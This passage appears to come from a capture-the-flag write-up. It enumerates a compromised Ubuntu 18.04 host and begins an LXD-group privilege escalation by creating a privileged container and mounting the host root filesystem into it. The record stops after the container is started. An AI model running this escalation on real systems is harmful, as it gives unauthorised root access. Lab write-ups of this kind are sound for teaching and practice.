```

Kernel is fairly recent.

```
sysadmin@kb-server:/var/www/html/scss$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.5 LTS
Release:        18.04
Codename:       bionic
sysadmin@kb-server:/var/www/html/scss$ uname -a
Linux kb-server 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
sysadmin@kb-server:/var/www/html/scss$
```

I missed this part, after compromising the machine, it appears that this is the standard way to escalate priv.

```
sysadmin@kb-server:/var/www/html/scss$ find /etc -type f -writable 2> /dev/null
/etc/update-motd.d/00-header
sysadmin@kb-server:/var/www/html/scss$
```

Not able to run any sudo commands.

```
sysadmin@kb-server:/var/www/html/scss$ sudo -l
[sudo] password for sysadmin:
Sorry, user sysadmin may not run sudo on kb-server.
sysadmin@kb-server:/var/www/html/scss$
```

Saw lxd as ways to escalate privileges.

```
sysadmin@kb-server:/var/www/html/scss$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
sysadmin@kb-server:/var/www/html/scss$
```

Basically, just follow instructions on -> https://www.hackingarticles.in/lxd-privilege-escalation/

```
sysadmin@kb-server:/var/www/html/scss$ lxc list
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:18.04

+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
sysadmin@kb-server:/var/www/html/scss$
```

```
sysadmin@kb-server:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]: dir
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
sysadmin@kb-server:/tmp$ lxc init myimage hello -c security.privileged=true
Creating hello
sysadmin@kb-server:/tmp$ lxc list
+-------+---------+------+------+------------+-----------+
| NAME  |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
+-------+---------+------+------+------------+-----------+
| hello | STOPPED |      |      | PERSISTENT | 0         |
+-------+---------+------+------+------------+-----------+
sysadmin@kb-server:/tmp$ lxc config device add hello mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to hello
sysadmin@kb-server:/tmp$ lxc start hello
```
